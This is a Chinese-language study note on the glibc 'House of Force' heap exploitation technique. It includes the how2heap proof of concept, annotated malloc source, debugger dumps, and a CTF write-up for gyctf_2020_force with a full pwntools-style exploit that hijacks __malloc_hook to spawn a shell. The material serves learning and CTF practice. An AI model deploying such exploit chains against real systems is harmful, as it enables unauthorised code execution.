简介
介绍部分,来自参考资料[0]
漏洞成因
堆溢出写 top_chunk
适用范围
2.23
——2.29
- 可分配任意大小的
chunk
- 需要泄露或已知要操作的目标地址
利用原理
对 top_chunk
的利用,过程如下:
- 申请
chunk A
- 写
A
的时候溢出,修改 top_chunk
的 size
为很大的数
- 分配很大的
chunk
到任意已知地址(可能需要通过整数溢出指针的形式)
相关技巧
注意,在 glibc-2.29
后加入了检测,house of force
基本失效:
在申请内存的时候进行检查的(_int_malloc):
// 申请的大小如果超过系统内存,报错
if (__glibc_unlikely(size > av->system_mem))
malloc_printerr("malloc(): corrupted top size");
利用效果
实验:how2heap
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
assert(ctr_chunk == bss_var);
// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
我这没得libc 2.23的编译环境,就懒得弄了,这个手法在新版本也失效了,这里就调试到最后一步申请之前,因为安全检查是在malloc从top去申请的时候才进行
首先申请内存,然后覆盖top指针为很大的数:
0x555555559290 0x0000000000000000 0x0000000000000111 ................
0x5555555592a0 0x0000000000000000 0x0000000000000000 ................
0x5555555592b0 0x0000000000000000 0x0000000000000000 ................
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000000 ................
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000000 0x0000000000000000 ................
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0xffffffffffffffff ................ <-- Top chunk
然后构造很大的申请请求:
────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/selph/ctf/how2heap/glibc_2.23/house_of_force/house_of_force.c
64 * req = new_top - old_top - 2sizeof(long)
65 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
66 * req = dest - old_top - 4*sizeof(long)
67 */
68 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
► 69 fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
70 "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
71 void *new_ptr = malloc(evil_size);
72 fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
73
74 void* ctr_chunk = malloc(100);
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p/x evil_size
$2 = 0xffffffffffffec60
在没有这个检查的情况下,会从top进行切割,就是top大小减去申请大小,之后的位置就是新的top指针:
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
top chunk是如何切割分配的,这个过程是什么?
以2.35源码为例:
use_top:
/* 如果足够大,分割top chunk
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).
top指针需要始终存在
We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/
// 获取top指针,计算chunk大小
victim = av->top;
size = chunksize(victim);
// 申请的大小如果超过系统内存,报错
if (__glibc_unlikely(size > av->system_mem))
malloc_printerr("malloc(): corrupted top size");
// 如果top chunk大小超过申请大小,继续
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
// 计算剩余大小,设置给top指针
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
// 设置目标header,设置prev_inuse位
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
// 设置新的top指针
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
// 计算内存地址,返回
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
// 当使用原子操作来释放fast chunk,我们可以获取所有块大小
else if (atomic_load_relaxed(&av->have_fastchunks))
{
malloc_consolidate(av); // 合并操作
/* restore original bin index */
if (in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
/*
Otherwise, relay to handle system-dependent cases
否则,调用sysmalloc来处理
*/
else
{
void *p = sysmalloc(nb, av);
if (p != NULL)
alloc_perturb(p, bytes);
return p;
}
当tcachebin,fastbin,smallbin,largebin,unsortedbin都没法是用的时候哦,会来到这里进行分配内存
原理很简单,具体实操看下面的题目吧
实验:buuctf - gyctf_2020_force
实验环境:libc2.23
题目分析:
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 255, sizeof(s));
while ( 1 )
{
memset(s, 255, sizeof(s));
puts("1:add");
puts("2:puts");
read(0, nptr, 0xFuLL);
v3 = atol(nptr);
if ( v3 == 1 )
{
sub_A20(); // add
}
else if ( v3 == 2 )
{
sub_B92(); // puts
}
}
}
add:
这里申请大小可控,输入内容长度为写死的0x50字节,可造成堆溢出写
每次申请完内存会给出申请的内存地址,堆地址泄露
unsigned __int64 add()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&unk_202080; *i; ++i )
;
if ( (char *)i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*i = malloc(size);
if ( !*i )
exit(0);
printf("bin addr %p\n", *i);
puts("content");
read(0, (void *)*i, 0x50uLL);
puts("done");
return __readfsqword(0x28u) ^ v4;
}
the house of force
小知识点:申请超过top chunk大小的内存,或者在arena初始化之前申请大内存,会使用sysmalloc来申请映射内存,与libc有固定偏移,可以用来泄露libc地址
修改top指针为最大值
计算偏移,当前top指针到__malloc_hook的偏移,然后覆盖one_gadget上去即可:
但是这里存在一个问题,就是one_gadget用不了,因为栈上的地址不可用,这里就可以通过realloc来调整栈空间,使得变得可用,下面写为啥可以这么做
先给出完整exp:
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
one_gadgets: list = get_current_one_gadget_from_libc(more=False)
#CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
def cmd(i, prompt='puts\n'):
sla(prompt, i)
def add(nb,content):
cmd('1')
sla('size\n',str(nb))
ru('bin addr ')
addr = rl()[:-1].decode()
addr = int(addr,16)
sla('content\n',content)
ru('done\n')
return addr
#......
def show():
cmd('2')
return rl()[:-1]
#......
# the house of force
a1 = add(0x21000,'a')
log.info(f"a1 => {hex(a1)}")
libc.address = a1 -0x5ca010
log.success(f'libc addr => {hex(libc.address)}')
heap_leak = add(0x18,flat({
0x18:0xffffffffffffffff
}))
malloc_size = libc.sym.__malloc_hook -0x10 - (heap_leak+0x20) -0x10
add(malloc_size,'b')
add(0x18,flat({
0x08:pack(libc.address + one_gadgets[0]),
0x10:pack(libc.sym.realloc + 0x10)
}))
#pause()
cmd('1')
sla('size\n',str(0x10))
sl('w')
ia()
通过realloc调整栈空间来使用one_gadget
首先是两个hook的位置:是紧挨着的,可以同时给二者赋值
pwndbg> x/xg &__malloc_hook
0x7f2d24a2fb10 <__malloc_hook>: 0x00007f2d246ef720
pwndbg> x/xg &__malloc_hook-1
0x7f2d24a2fb08 <__realloc_hook>: 0x00007f2d246b027a
调用realloc的时候,会去检查realloc hook函数的值,不为空就调用:
.text:0000000000084710 realloc proc near ; CODE XREF: _realloc↑j
.text:0000000000084710 ; DATA XREF: LOAD:0000000000006BA0↑o ...
.text:0000000000084710
.text:0000000000084710 var_60 = qword ptr -60h
.text:0000000000084710 var_58 = byte ptr -58h
.text:0000000000084710 var_48 = byte ptr -48h
.text:0000000000084710
.text:0000000000084710 ; __unwind {
.text:0000000000084710 push r15 ; Alternative name is '__libc_realloc'
.text:0000000000084712 push r14
.text:0000000000084714 push r13
.text:0000000000084716 push r12
.text:0000000000084718 mov r12, rsi
.text:000000000008471B push rbp
.text:000000000008471C push rbx
.text:000000000008471D mov rbx, rdi
.text:0000000000084720 sub rsp, 38h
.text:0000000000084724 mov rax, cs:__realloc_hook_ptr
.text:000000000008472B mov rax, [rax]
.text:000000000008472E test rax, rax
.text:0000000000084731 jnz loc_84958
...
.text:0000000000084958 loc_84958: ; CODE XREF: realloc+21↑j
.text:0000000000084958 mov rdx, [rsp+68h]
.text:000000000008495D call rax
.text:000000000008495F mov rbp, rax
.text:0000000000084962 jmp loc_847E5
realloc+0x10的位置,是sub rsp, 38h
,可以提供0x38字节可用栈空间
one gadget的约束:
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
刚好需要rsp+0x30
可用,从而使得one gadget可用
流程就是,malloc,进入malloc hook,malloc hook的值是realloc+0x10,realloc hook的值是one gadget,就是这么一条链
参考资料